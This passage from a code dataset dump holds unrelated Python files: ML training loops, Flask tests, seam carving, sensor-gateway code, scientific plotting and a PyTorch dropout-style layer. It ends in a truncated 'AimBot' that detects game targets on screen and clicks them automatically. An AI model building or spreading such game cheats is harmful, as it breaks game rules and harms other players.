Accuracy(m_pred, label_test)\r\n print('测试集精确率', acc)\r\n\r\n TEST_ACC.append(acc)\r\n print(\"训练完成\")\r\n # np.savetxt('TT.txt', np.array(TT) )\r\n # np.savetxt('TR.txt', np.array(TRAIN_ACC))\r\n # np.savetxt('TE.txt',np.array(TEST_ACC))\r\n saver.save(sess, savedir + 'pulseend')\r\n coord.request_stop()\r\n coord.join(threads)\r\n result.append(acc)\r\nprint(result)\r\n","sub_path":"yuyan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"163116568","text":"#-*- coding:utf-8 -*-\n\nfrom app.collection.models import Watchlist\nfrom app.collection.tasks import add_to_watchlist, find_torrents_for_movies\nfrom app.core.models import Notification\nfrom app.movies.models import Movie\nfrom app.torrents.models import Torrent\n\nfrom tests import BaseTestCase, UserFactory\n\n\nclass AddToWatchlistTaskTestCase(BaseTestCase):\n def test_add_missing_movies_to_watchlist(self):\n with self.instance.test_request_context() as request:\n u = UserFactory()\n self.db.session.commit()\n\n user_id = u.id\n\n keys = ['movie:tt0167260:imdb', 'movie:tt1229238:imdb',\n 'movie:tt1272878:imdb']\n\n add_to_watchlist(keys=keys, user_id=user_id)\n\n watchlist = self.db.session.query(Watchlist).filter_by(\n user_id=user_id).all()\n\n notifications = self.db.session.query(Notification).filter_by(\n status=Notification.SUCCESS_STATUS).all()\n\n self.assertEqual(len(watchlist), 3)\n self.assertEqual(len(notifications), 1)\n\n def test_add_movies_to_watchlist(self):\n with self.instance.test_request_context() as request:\n u = UserFactory()\n self.db.session.commit()\n\n user_id = u.id\n\n keys = ['movie:tt0167260:imdb', 'movie:tt1229238:imdb',\n 'movie:tt1272878:imdb']\n\n Movie.add(keys=keys)\n\n add_to_watchlist(keys=keys, user_id=user_id)\n\n watchlist = self.db.session.query(Watchlist).filter_by(\n user_id=user_id).all()\n\n notifications = self.db.session.query(Notification).filter_by(\n status=Notification.SUCCESS_STATUS).all()\n\n self.assertEqual(len(watchlist), 3)\n self.assertEqual(len(notifications), 1)\n\n\nclass FindTorrentsForMoviesTestCase(BaseTestCase):\n def test_find_torrents_for_movies(self):\n keys = ['movie:tt0167260:imdb', 'movie:tt1229238:imdb',\n 'movie:tt1272878:imdb']\n\n movies = Movie.add(keys=keys)\n self.assertEqual(len(movies), 3)\n\n find_torrents_for_movies(keys=keys)\n\n torrents = self.db.session.query(Torrent).all()\n self.assertTrue(len(torrents) > 0)\n\n torrents = self.db.session.query(Torrent).join(\n Movie.torrents).filter(Movie.id == 2).all()\n self.assertEqual(len(torrents), 5)\n\n notifications = self.db.session.query(Notification).filter_by(\n status=Notification.INFO_STATUS).all()\n self.assertEqual(len(notifications), 1)\n","sub_path":"tests/collection/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"277504826","text":"from dskc.clean import get_text_from\nfrom dskc.visualization import graphs\nfrom dskc.visualization.graphs.types.word_cloud.word_cloud import word_cloud, text_proportion_success\nfrom dskc._util.string import get_display_text\nimport pandas as pd\nfrom . import util\nfrom matplotlib import pyplot as plt\n\n\ndef _wordcloud(series, section_number, sub_section, display_name, stop_words):\n sub_section = util.header(section_number, sub_section, \"{} Word Cloud\".format(display_name))\n\n word_cloud(series, stop_words=stop_words)\n return sub_section\n\n\ndef _top_words(words_series, top_words, section_number, sub_section, display_name):\n sub_section = util.header(section_number, sub_section, \"{} Top {} Words\".format(display_name, top_words))\n\n graphs.bars(words_series,\n title=\"Top {} words\".format(top_words),\n xlabel=\"Word\",\n percentage_on_top=True,\n max_values=top_words)\n\n return sub_section\n\n\ndef _text_proportion_succcess(series, words_series, target_series, target_true, top_words, section_number, sub_section,\n display_name):\n sub_section = util.header(section_number, sub_section,\n \"{} Mean Success of Top {} Words\".format(display_name, top_words))\n\n text_proportion_success(words_series, series, target_series,\n target_true=target_true)\n return sub_section\n\n\ndef text_col(df, name, target=None, target_true=False, section_number=1, top_words=15, stop_words=[]):\n # get names\n display_name = get_display_text(name)\n sub_section = 1\n\n # set series\n series = df[name]\n\n # wordcloud\n sub_section = _wordcloud(series, section_number, sub_section, display_name, stop_words)\n\n # bars graph\n text = get_text_from(series, stop_words=stop_words)\n\n # set word series\n words = text.split(\" \")\n words_series = pd.Series(words)\n\n # top n words\n sub_section = _top_words(words_series, top_words, section_number, sub_section, display_name)\n\n # text proportion graphs\n if not target is None:\n try:\n _text_proportion_succcess(series,\n words_series,\n df[target],\n target_true,\n top_words,\n section_number,\n sub_section,\n display_name)\n except:\n plt.show()\n print(\"\\nNot available.\\n\")\n","sub_path":"dskc/visualization/graphs/shortcuts/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"192582817","text":"\n\n\ndef write_detail(id,text,mod):\n with open(r'./client/data_storage/train_detail_%s.log' % id, mod, encoding='UTF-8') as f:\n if mod != 'r+':\n f.write(text)\n else:\n old = f.read()\n f.seek(0)\n f.write(text)\n f.write(old)\n","sub_path":"test/client/federation/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"156881832","text":"import numpy as np\n\n\ndef get_intensity(img):\n weights = np.array([0.299, 0.587, 0.114])\n return img @ weights\n\n\ndef get_intensity_with_mask(intensities, mask):\n intensity_with_mask = intensities.copy()\n\n h, w = intensities.shape\n intensity_with_mask += h * w * 256 * mask\n\n return intensity_with_mask\n\n\ndef get_intensities_sum(grad_intensity):\n intensity_sum = grad_intensity.copy()\n h, w = grad_intensity.shape\n for i in range(1, h):\n add = np.zeros(w)\n last_block = np.array([intensity_sum[i - 1, 1:-1], intensity_sum[i - 1, 2:], intensity_sum[i - 1, :-2]])\n add[1:-1] = np.min(last_block, axis=0)\n add[0] = np.min(intensity_sum[i - 1, :2])\n add[-1] = np.min(intensity_sum[i - 1, -2:])\n intensity_sum[i] += add\n\n return intensity_sum\n\n\ndef get_min_seam(sum_intensity):\n seam = np.zeros(sum_intensity.shape)\n h, w = sum_intensity.shape[:2]\n y = np.argmin(sum_intensity[h - 1])\n seam[h - 1, y] = 1\n for x in range(h - 1, -1, -1):\n start = max(0, y - 1)\n end = min(y + 2, w)\n diff = np.argmin(sum_intensity[x, start: end])\n y = start + diff\n seam[x, y] = 1\n return seam\n\n\ndef get_grad_intensity(image):\n I_x = np.roll(image, 1, axis=0) - np.roll(image, -1, axis=0)\n I_y = np.roll(image, 1, axis=1) - np.roll(image, -1, axis=1)\n I_x[0, :] = image[1, :] - image[0, :]\n I_x[-1, :] = image[-1, :] - image[-2, :]\n I_y[:, 0] = image[:, 1] - image[:, 0]\n I_y[:, -1] = image[:, -1] - image[:, -2]\n intensity_grad = (I_x ** 2 + I_y ** 2) ** 0.5\n return intensity_grad\n\n\ndef get_seam_mask(seam, shape):\n mask = np.zeros(shape)\n rows = list(range(len(seam)))\n mask[rows, seam] = 1\n return mask\n\n\ndef shrink_seam(new_image, mask, min_seam):\n for index, pixel_to_shrink in enumerate(min_seam):\n new_image[index, pixel_to_shrink: -1] = new_image[index, pixel_to_shrink + 1:]\n if mask is not None:\n mask[index, pixel_to_shrink: -1] = mask[index, pixel_to_shrink + 1:]\n new_image = new_image[:-1]\n if mask is not None:\n mask = mask[:-1]\n return new_image, mask\n\n\ndef expand_seam(new_image, mask, min_seam):\n h, w, d = new_image.shape\n big_image = np.zeros((h, w + 1, d))\n big_image[:, :-1] = new_image\n big_mask = mask\n # print('image shape: ', new_image.shape, 'big image shape: ', big_image.shape)\n if mask is not None:\n big_mask = np.zeros((h, w + 1))\n big_mask[:, :-1] = mask\n for index, pixel_to_expand in enumerate(min_seam):\n if pixel_to_expand == w - 1:\n value_to_add = new_image[index, pixel_to_expand]\n else:\n value_to_add = np.mean(new_image[index, pixel_to_expand:pixel_to_expand + 2])\n # print('image shape: ', new_image[index, pixel_to_expand:].shape, 'big image shape: ',\n # big_image[index, pixel_to_expand + 1:].shape)\n big_image[index, pixel_to_expand + 1:] = new_image[index, pixel_to_expand:]\n big_image[index, pixel_to_expand + 1] = value_to_add\n if mask is not None:\n big_mask[index, pixel_to_expand + 1:] = mask[index, pixel_to_expand:]\n big_mask[index, pixel_to_expand] = 1\n return big_image, big_mask\n\n\ndef seam_carve(image, mode, mask=None):\n # if mask is not None:\n # print(mode, 'with mask')\n # else:\n # print(mode)\n\n new_image = image.copy()\n intensity = get_intensity(new_image)\n grad_intensity = get_grad_intensity(intensity) # get_grad_intensity(intensity)\n\n if mask is not None:\n grad_intensity = get_intensity_with_mask(grad_intensity, mask)\n\n if 'vertical' in mode:\n grad_intensity = grad_intensity.T\n if mask is not None:\n mask = mask.T\n new_image = new_image.transpose((1, 0, 2))\n\n intensity_sum = get_intensities_sum(grad_intensity)\n min_seam = get_min_seam(intensity_sum)\n # seam_mask = get_seam_mask(min_seam, new_image.shape[:2])\n seam = get_min_seam(intensity_sum)\n\n # print(len(min_seam))\n # print(new_image.shape)\n\n # if 'shrink' in mode:\n # new_image, mask = shrink_seam(new_image, mask, min_seam)\n # if 'expand' in mode:\n # new_image, mask = expand_seam(new_image, mask, min_seam)\n\n if 'vertical' in mode:\n if mask is not None:\n mask = mask.T\n seam = seam.T\n # # new_image = new_image.transpose((1, 0, 2))\n\n return image, mask, seam\n","sub_path":"gml 02 Scaling/seam_carve.py","file_name":"seam_carve.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"38323623","text":"'''\nCreated on 12 sept. 2015\n\n@author: doudz\n'''\nfrom pySensors.MyController import Gateway\nimport threading\nfrom pySensors.MySensor import MySensor,AUTO,build\nimport time\nfrom pySensors.MyMessage import MyMessage,mSetCommand\n\nSLEEP = 1/10.\n\nclass pyGateway(Gateway, threading.Thread):\n \"\"\" MySensors gateway \"\"\"\n\n def __init__(self, event_callback=None, persistence=False,\n persistence_file=\"mysensors.pickle\", protocol_version=\"1.5\"):\n threading.Thread.__init__(self)\n Gateway.__init__(self, event_callback, persistence, persistence_file,\n protocol_version)\n self._stop_event = threading.Event()\n self.gw = MySensor()\n self.gw.begin(self._callback,0,True,0)\n \n def _callback(self,gw,message):\n data = u'{0.sender};{0.destination};{0.command};{0.ack};{0.type};{0.payload}'.format(message)\n print(type(data),data)\n# response = self.logic(data)\n response = self.logic(message)\n print('response',response)\n if response:\n print('response',response.encode())\n print(response.node_id,response.child_id,response.type,response.ack,response.sub_type,response.payload)\n msg = MyMessage(response.node_id,response.sub_type)\n print('type,command',response.type)\n print('subtype,type',response.sub_type)\n msg.sender = gw.nc.nodeId\n msg.destination = response.node_id\n msg.miSetRequestAck(response.ack)\n msg.miSetCommand(response.type)\n if response.sub_type in [4,8]:\n msg.set_byte(chr(response.payload))\n else:\n msg.set(response.payload)\n #msg.set_byte(chr(response.payload))\n print(msg.data)\n gw.sendRoute(msg)\n \n\n def stop(self):\n \"\"\" Stops the background thread. \"\"\"\n self._stop_event.set()\n\n def run(self):\n \"\"\" Background thread that reads messages from the gateway. \"\"\"\n while not self._stop_event.is_set():\n self.gw.process()\n time.sleep(SLEEP)\n \n# try:\n# msg = line.decode('utf-8')\n# response = self.logic(msg)\n# except ValueError:\n# LOGGER.warning('Error decoding message from gateway, probably received bad byte.')\n# continue\n# if response is not None:\n# try:\n# self.send(response.encode())\n# except ValueError:\n# LOGGER.exception('Invalid response')\n# continue\n\n def send(self, message):\n \"\"\" Writes a Message to the gateway. \"\"\"\n print('send',message)\n# self.serial.write(message.encode())\n\n\ndef RepeaterNode():\n print('Starting RepeaterNode, press Ctrl+C to exit')\n gw = MySensor()\n # The third argument enables repeater mode.\n gw.begin(None, AUTO, True);\n #Send the sensor node sketch version information to the gateway\n gw.sendSketchInfo(\"Repeater Node\", \"1.0\");\n try:\n while True:\n gw.process()\n time.sleep(SLEEP)\n except KeyboardInterrupt:\n print(\"\\n Program stopped \\n\")\n \ndef pGateway(callback):\n print('Starting Gateway, press Ctrl+C to exit')\n gw = MySensor()\n gw.begin(callback,0,True,0)\n \n try:\n while True:\n gw.process()\n time.sleep(SLEEP)\n except KeyboardInterrupt:\n print(\"\\n Program stopped \\n\")\n \n \nif __name__ == '__main__':\n #RepeaterNode()\n \n def mycallback(message):\n print(message)\n \n Gateway(mycallback)\n \n \n \n \n","sub_path":"pySensors/contrib.py","file_name":"contrib.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"612374092","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plotting(x, y, e, f, path,fig,L,colour):\n \n \n xaxis = [x1[0] for x1 in path]\n yaxis = [y1[1] for y1 in path]\n \n q = np.arange(0,len(xaxis),1)\n \n for j in q:\n e.append(xaxis[j])\n \n for k in q:\n f.append(yaxis[k])\n \n plt.figure(fig)\n \n plt.plot(xaxis,yaxis,colour,label='Column number ' + L +' in the X-ray data matrix')\n \n plt.legend()\n \n plt.title('Alignment between UV and X-ray data')\n \n plt.xlabel('UV data')\n plt.ylabel('X-ray data')\n \n plt.show()\n \n return(e,f)\n\n\n\n\ndef plotting1(x, y, path,fig,L,colour):\n \n \n xaxis = [x1[0] for x1 in path]\n yaxis = [y1[1] for y1 in path]\n \n plt.figure(fig)\n \n plt.plot(xaxis,yaxis,colour,label=L)\n \n plt.legend()\n \n plt.title('Comparison between DTW and FastDTW alignment')\n \n plt.xlabel('UV Data')\n plt.ylabel('X-ray Data')\n \n plt.show()\n\n\n\n\ndef plotting2(y, path,fig,L,colour):\n \n plt.figure(fig)\n \n plt.plot(y,colour,label='Column number ' + L +' in the X-ray data matrix')\n \n plt.legend()\n \n plt.title('X-ray data by column')\n \n plt.xlabel('Time')\n plt.ylabel('X-ray Data')\n \n plt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"dtwpy/plotTest.py","file_name":"plotTest.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"261315414","text":"#!/usr/bin/python\n# encoding=utf8\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nimport os\nimport subprocess\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom astropy.table import Table, Column \nfrom scipy.stats import linregress\nfrom scipy import interpolate\nfrom scipy import polyval, polyfit\nfrom scipy import odr\nimport pylab as py\nfrom matplotlib import gridspec\nimport sklearn.datasets as ds\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\nfrom redTools import *\nfrom Kcorrect import *\nfrom linear_mcmc import *\n################################################################# \ndef add_axis(ax, xlim, ylim):\n \n x1, x2 = xlim[0], xlim[1]\n y1, y2 = ylim[0], ylim[1]\n ax.set_xlim(x1, x2)\n ax.set_ylim(y1, y2)\n\n ax.minorticks_on()\n ax.tick_params(which='major', length=7, width=1.5)\n ax.tick_params(which='minor', length=4, color='#000033', width=1.0) \n \n # additional Y-axis (on the right)\n y_ax = ax.twinx()\n y_ax.set_ylim(y1, y2)\n y_ax.set_yticklabels([])\n y_ax.minorticks_on()\n y_ax.tick_params(which='major', length=7, width=1.5, direction='in')\n y_ax.tick_params(which='minor', length=4, color='#000033', width=1.0, direction='in')\n\n # additional X-axis (on the top)\n x_ax = ax.twiny()\n x_ax.set_xlim(x1, x2)\n x_ax.set_xticklabels([])\n x_ax.minorticks_on()\n x_ax.tick_params(which='major', length=7, width=1.5, direction='in')\n x_ax.tick_params(which='minor', length=4, color='#000033', width=1.0, direction='in')\n \n for tick in ax.xaxis.get_major_ticks():\n tick.label.set_fontsize(12) \n for tick in ax.yaxis.get_major_ticks():\n tick.label.set_fontsize(12) \n \n########################################################### Begin\ndef plot_array(inFile, scatter=False, binned=True):\n \n R, Input_u1, T_u1 = getBand(inFile, band1 = 'u', band2 = 'w1')\n R, Input_g1, T_g1 = getBand(inFile, band1 = 'g', band2 = 'w1')\n R, Input_r1, T_r1 = getBand(inFile, band1 = 'r', band2 = 'w1')\n R, Input_i1, T_i1 = getBand(inFile, band1 = 'i', band2 = 'w1')\n R, Input_z1, T_z1 = getBand(inFile, band1 = 'z', band2 = 'w1')\n Input1 = {} ; T1 = {}\n T1[\"u\"] = T_u1\n T1[\"g\"] = T_g1\n T1[\"r\"] = T_r1\n T1[\"i\"] = T_i1\n T1[\"z\"] = T_z1\n Input1[\"u\"] = Input_u1\n Input1[\"g\"] = Input_g1\n Input1[\"r\"] = Input_r1\n Input1[\"i\"] = Input_i1\n Input1[\"z\"] = Input_z1\n \n R, Input_u2, T_u2 = getBand(inFile, band1 = 'u', band2 = 'w2')\n R, Input_g2, T_g2 = getBand(inFile, band1 = 'g', band2 = 'w2')\n R, Input_r2, T_r2 = getBand(inFile, band1 = 'r', band2 = 'w2')\n R, Input_i2, T_i2 = getBand(inFile, band1 = 'i', band2 = 'w2')\n R, Input_z2, T_z2 = getBand(inFile, band1 = 'z', band2 = 'w2')\n Input2 = {} ; T2 = {}\n T2[\"u\"] = T_u2\n T2[\"g\"] = T_g2\n T2[\"r\"] = T_r2\n T2[\"i\"] = T_i2\n T2[\"z\"] = T_z2\n Input2[\"u\"] = Input_u2\n Input2[\"g\"] = Input_g2\n Input2[\"r\"] = Input_r2\n Input2[\"i\"] = Input_i2\n Input2[\"z\"] = Input_z2 \n \n \n dye = {\"u\":\"blue\",\"g\":\"green\",\"r\":\"red\",\"i\":\"orange\",\"z\":\"maroon\",\"w1\":\"purple\" }\n \n fig = py.figure(figsize=(5, 4), dpi=100) \n fig.subplots_adjust(wspace=0, top=0.95, bottom=0.15, left=0.15, right=0.98)\n \n gs = gridspec.GridSpec(1, 1, height_ratios=[1]) \n\n p = 0\n ####################################################\n \n band_lst = ['r']\n \n for jj in range(1):\n \n \n for band in band_lst:\n \n ylabel=True\n xlabel=True\n \n ax = plt.subplot(gs[p]) ; p+=1\n plot_Rinc(ax, T1[band], Input1[band], T2[band], Input2[band], color=dye[band], scatter=scatter, binned=binned, xlabel=xlabel, ylabel=ylabel, band=band)\n yticks = ax.yaxis.get_major_ticks()\n #if band!='u': yticks[-1].label1.set_visible(False)\n #if band!='u': plt.setp(ax.get_yticklabels(), visible=False) \n \n #####################################################\n \n plt.subplots_adjust(hspace=.0, wspace=0)\n\n ax = fig.add_subplot(111)\n ax.set_axis_off()\n ax.set_xticks([])\n ax.set_yticks([])\n ax.xaxis.set_ticks_position('none')\n ax.yaxis.set_ticks_position('none') \n #ax.annotate(r'$A_{W2}-A_{W1} \\/\\/ [mag]$', (0.008,0.56), xycoords='figure fraction', size=16, color='black', rotation=90)\n \n #ax.annotate(r'$inclination \\/ [deg]$', (0.52,0.02), xycoords='figure fraction', size=16, color='black')\n \n fig.savefig(\"P0_w12.eps\")\n fig.savefig(\"P0_w12.png\")\n plt.show()\n \n################################################################## \ndef plot_Rinc(ax, T1, Input1, T2, Input2, color='red', scatter=False, binned=False, xlabel=True, ylabel=True, X_twin=True, Y_twin=True, band='r'):\n \n myDic = {}\n \n pgc = Input1[0]\n pc0 = Input1[2]\n inc = Input1[3]\n table = T1[5]\n Epc0 = table['Epc0']\n Einc = table['inc_e']\n a,b,c,d, alpha, beta, gamma, Ealpha, Ebeta = getReddening_params(band1=band, band2='w1')\n q2 = 10**(-1.*gamma)\n F = log_a_b(inc, q2)\n dF2 = Elogab2(inc, q2, Einc)\n A1 = F*(a*pc0**3+b*pc0**2+c*pc0+d)\n dA1 = np.sqrt(dF2*(a*pc0**3+b*pc0**2+c*pc0+d)**2+(F*(3*a*pc0**2+2*b*pc0+c)*Epc0)**2)\n for i in range(len(pgc)):\n myDic[pgc[i]]=[pc0[i],Epc0[i]]\n \n\n pgc = Input2[0]\n pc0 = Input2[2]\n inc = Input2[3]\n table = T2[5]\n Epc0 = table['Epc0']\n Einc = table['inc_e']\n a,b,c,d, alpha, beta, gamma, Ealpha, Ebeta = getReddening_params(band1=band, band2='w2')\n q2 = 10**(-1.*gamma)\n F = log_a_b(inc, q2)\n dF2 = Elogab2(inc, q2, Einc)\n A2 = F*(a*pc0**3+b*pc0**2+c*pc0+d)\n dA2 = np.sqrt(dF2*(a*pc0**3+b*pc0**2+c*pc0+d)**2+(F*(3*a*pc0**2+2*b*pc0+c)*Epc0)**2)\n PC_w1 = []\n PC_w2 = []\n EPC_w1 = []\n EPC_w2 = []\n for i in range(len(pgc)):\n if pgc[i] in myDic:\n PC_w2.append(pc0[i])\n EPC_w2.append(Epc0[i])\n PC_w1.append(myDic[pgc[i]][0])\n EPC_w1.append(myDic[pgc[i]][1])\n \n \n PC_w1 = np.asarray(PC_w1)\n PC_w2 = np.asarray(PC_w2)\n EPC_w1 = np.asarray(EPC_w1)\n EPC_w2 = np.asarray(EPC_w2)\n if scatter:\n ax.plot(PC_w1, PC_w2, 'o', color='black', markersize=2, alpha=0.2)\n \n ### Fitting a curve\n #AB, cov = np.polyfit(PC_w1,PC_w2, 1, cov=True, full = False)\n #m, b = AB[0], AB[1]\n x_ = np.linspace(-4,4,50)\n #y_ = m*x_+b\n #ax.plot(x_, y_, 'r--') \n \n M,B,samples=linMC(PC_w1, PC_w2, EPC_w1, EPC_w2)\n m = M[0] ; me=0.5*(M[1]+M[2])\n b = B[0] ; be=0.5*(B[1]+B[2])\n y_, yu, yl = linSimul(samples, x_, size=500)\n ax.fill_between(x_, y_+2*yu, y_-2*yl, color='r', alpha=0.5, edgecolor=\"none\")\n ax.plot(x_, m*x_+b, 'r--') \n \n \n delta = np.abs(PC_w2-(m*PC_w1+b))\n rms = np.sqrt(np.median(np.square(delta)))\n ax.text(0,-2, \"m= \"+\"%.3f\" % m+'$\\pm$'+\"%.3f\" % me, fontsize=14)\n ax.text(0,-2.5, \"b= \"+\"%.3f\" % b+'$\\pm$'+\"%.3f\" % be, fontsize=14)\n ax.text(0,-3, r'$RMS=$'+'%.3f'%rms, fontsize=14, color='k') \n plt.errorbar([-2.5], [2.5], xerr=[np.median(EPC_w1)], yerr=[np.median(EPC_w2)], color='k', fmt='o', alpha=0.7, capsize=3, markersize=5)\n \n if binned:\n xl = []\n yl= []\n yel=[]\n \n low = -4; high=3.5\n for i in np.arange(low,high,0.5):\n \n x = []\n y = []\n for ii in range(len(PC_w2)):\n xi = PC_w1[ii]\n if xi>i and xi<=i+0.5:\n x.append(xi)\n y.append(PC_w2[ii])\n if len(x)>0:\n \n x = np.asarray(x)\n y = np.asarray(y)\n \n average = np.median(y)\n stdev = np.std(y)\n \n index = np.where(yaverage-3.*stdev)\n x = x[index]\n y = y[index] \n\n ax.errorbar(np.median(x), np.median(y), yerr=np.std(y), fmt='o', color=color, markersize=5)\n \n xl.append(np.median(x))\n yl.append(np.median(y))\n yel.append(np.std(y))\n \n \n ax.tick_params(which='major', length=6, width=1.5, direction='in')\n ax.tick_params(which='minor', length=4, color='#000033', width=1.0, direction='in')\n ax.minorticks_on()\n \n\n ax.set_ylim([-3.6,3.6]) \n ax.set_xlim([-3.6,3.6]) \n \n if xlabel: ax.set_xlabel(r'$P_{1,w1}$', fontsize=16)\n if ylabel: ax.set_ylabel(r'$P_{1,w2}$', fontsize=16) \n \n if Y_twin:\n y_ax = ax.twinx()\n y_ax.set_ylim(-3.6,3.6)\n y_ax.set_yticklabels([])\n y_ax.minorticks_on()\n y_ax.tick_params(which='major', length=6, width=1.5, direction='in')\n y_ax.tick_params(which='minor', length=4, color='#000033', width=1.0, direction='in') \n \n if X_twin:\n x_ax = ax.twiny()\n x_ax.set_xlim(-3.6,3.6)\n x_ax.set_xticklabels([])\n x_ax.minorticks_on()\n x_ax.tick_params(which='major', length=6, width=1.0, direction='in')\n x_ax.tick_params(which='minor', length=4, color='#000033', width=1.0, direction='in') \n\n \n\n for tick in ax.xaxis.get_major_ticks():\n tick.label.set_fontsize(14) \n for tick in ax.yaxis.get_major_ticks():\n tick.label.set_fontsize(14) \n\n###########################################################\n\n\n\nplot_array('ESN_HI_catal.csv', scatter=True, binned=False) \n\n\n","sub_path":"Make_reddening_plot5_PC0.py","file_name":"Make_reddening_plot5_PC0.py","file_ext":"py","file_size_in_byte":9748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"652853739","text":"import math\nimport torch\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nfrom torch.nn.modules import Module\n\nclass GroupBridgeoutFcLayer(Module):\n r\"\"\"Applies the brigdeout transformation to the incoming data: :math:`y = Bx + b`\n\n Args:\n in_features: size of each input sample\n out_features: size of each output sample\n p: dropout probablity\n q: norm of the penalty\n bias: If set to False, the layer will not learn an additive bias.\n Default: True\n\n Shape:\n - Input: :math:`(N, in\\_features)`\n - Output: :math:`(N, out\\_features)`\n\n Attributes:\n weight: the learnable weights of the module of shape\n (out_features x in_features)\n bias: the learnable bias of the module of shape (out_features)\n\n Examples::\n\n >>> m = Bridgeout(20, 30)\n >>> input = autograd.Variable(torch.randn(128, 20))\n >>> output = m(input)\n >>> print(output.size())\n \"\"\"\n\n def __init__(\n self,\n in_features,\n out_features,\n p=0.5,\n q1=2.0,\n q2=2.0,\n target_fraction=1.0,\n bias=True,\n batch_mask=False,\n unit_test_mode=False):\n super(GroupBridgeoutFcLayer, self).__init__()\n self.p=p\n self.q=q1 / 2.0\n self.q2 = q2\n self.target_fraction = target_fraction\n self.in_features = in_features\n self.out_features = out_features\n \n assert not unit_test_mode, 'not implemented'\n assert target_fraction==1.0, 'not implemented'\n \n self.unit_test_mode = unit_test_mode\n \n self.rand_gen = torch.Generator()\n if unit_test_mode: \n self.rand_gen.manual_seed(0)\n \n self.weight = Parameter(torch.Tensor(in_features, out_features))\n self.use_same_mask = batch_mask\n if bias:\n self.bias = Parameter(torch.Tensor(out_features))\n else:\n self.register_parameter('bias', None)\n self.reset_parameters()\n \n\n def reset_parameters(self):\n if self.unit_test_mode:\n self.rand_gen.manual_seed(0)\n stdv = 1. / math.sqrt(self.weight.size(0))\n self.weight.data.uniform_(-stdv, stdv, generator=self.rand_gen)\n if self.bias is not None:\n self.bias.data.uniform_(-stdv, stdv, generator=self.rand_gen)\n\n def forward(self, input_x):\n if self.training:\n if self.unit_test_mode:\n self.rand_gen.manual_seed(0) \n \n bS, inpS = input_x.size()\n outS = self.weight.size()[1]\n \n input_x = input_x.view(bS,1,inpS)\n # not sure why this 1e-15 is needed? but lstm models are giving nans for q < 2 without it\n \n if not self.use_same_mask:\n w = self.weight.expand(bS, inpS, outS)\n wq = torch.norm(w, self.q2, dim=2).add(1e-15).pow( self.q ).unsqueeze(2)\n else:\n w = self.weight\n wq = torch.norm(w, self.q2, dim=1).add(1e-15).pow( self.q ).unsqueeze(1)\n \n noise = w.data.clone()\n noise.bernoulli_(1 - self.p, generator=self.rand_gen).div_(1 - self.p).sub_(1)\n targeting_mask = 1.0\n# if self.target_fraction < 1.0:\n# w_shape = w.size()\n# w_flattened_abs = torch.abs(w.view([w_shape[0], -1]))\n# sorted_indices = torch.argsort(w_flattened_abs, dim=1)\n# n = int(sorted_indices.size()[1]*self.target_fraction)\n# threshold_values = w_flattened_abs.gather(1,sorted_indices)[:,n].view([-1,1])\n# targeting_mask = w_flattened_abs.le(threshold_values).view(w_shape).type(w.dtype)\n# \n \n perturbation_equivalent = wq.mul(Variable(noise)).mul(targeting_mask)\n \n \n w = w.add( perturbation_equivalent )\n if self.bias is not None:\n output = input_x.matmul(w).view(bS,outS).add(self.bias)\n else:\n output = input_x.matmul(w).view(bS,outS)\n else:\n if self.bias is not None:\n output = input_x.matmul(self.weight).add(self.bias)\n else:\n output = input_x.matmul(self.weight)\n \n return output\n\n def __repr__(self):\n return self.__class__.__name__ + ' (' \\\n + str(self.in_features) + ' -> ' \\\n + str(self.out_features) + ')'\n\n\nif __name__ == '__main__':\n# functional_testing()\n b = GroupBridgeoutFcLayer(2,4, q1=2, q2=2, batch_mask=True).double()\n x = Variable(torch.ones(5, 2).double(), requires_grad=True)\n y = b(x)\n y.backward(torch.ones(y.size()).double())\n print(y)\n [print('p, p.grad', n, p.grad) for n, p in b.named_parameters()]\n# print(y)\n# # b.zero_grad()\n# # y = b(x)\n# # y.backward(torch.ones(y.size()).double())\n# # [print('p, p.grad', n, p.grad) for n, p in b.named_parameters()]\n# # print(y)\n \n","sub_path":"src/group_bridgeout_fc.py","file_name":"group_bridgeout_fc.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"466731375","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport os, sys\n\nimport pyautogui\nimport cv2\nimport argparse\nimport re\n\nfrom time import time, sleep\nfrom threading import Thread, Lock\n\nfrom gamecapture import GameCapture\nfrom detection import Detection\nfrom vision import Vision\nfrom utilities import Utilities\n\npyautogui.PAUSE = 0\n\n\nclass AimBot:\n\n running = False\n lock = None\n state = None\n\n active_targets = None\n frame = None\n action_history = None\n start_time = 0\n\n\n def __init__(self):\n self.lock = Lock()\n self.active_targets = []\n self.action_history = []\n self.start_time = time()\n\n \n def shoot(self, target):\n # TODO: PyDirectInput for DirectX on windows\n try:\n pyautogui.moveTo(target[0], target[1])\n pyautogui.click()\n self.action_history.append((time() - self.start_time, target))\n\n except pyautogui.FailSafeException as 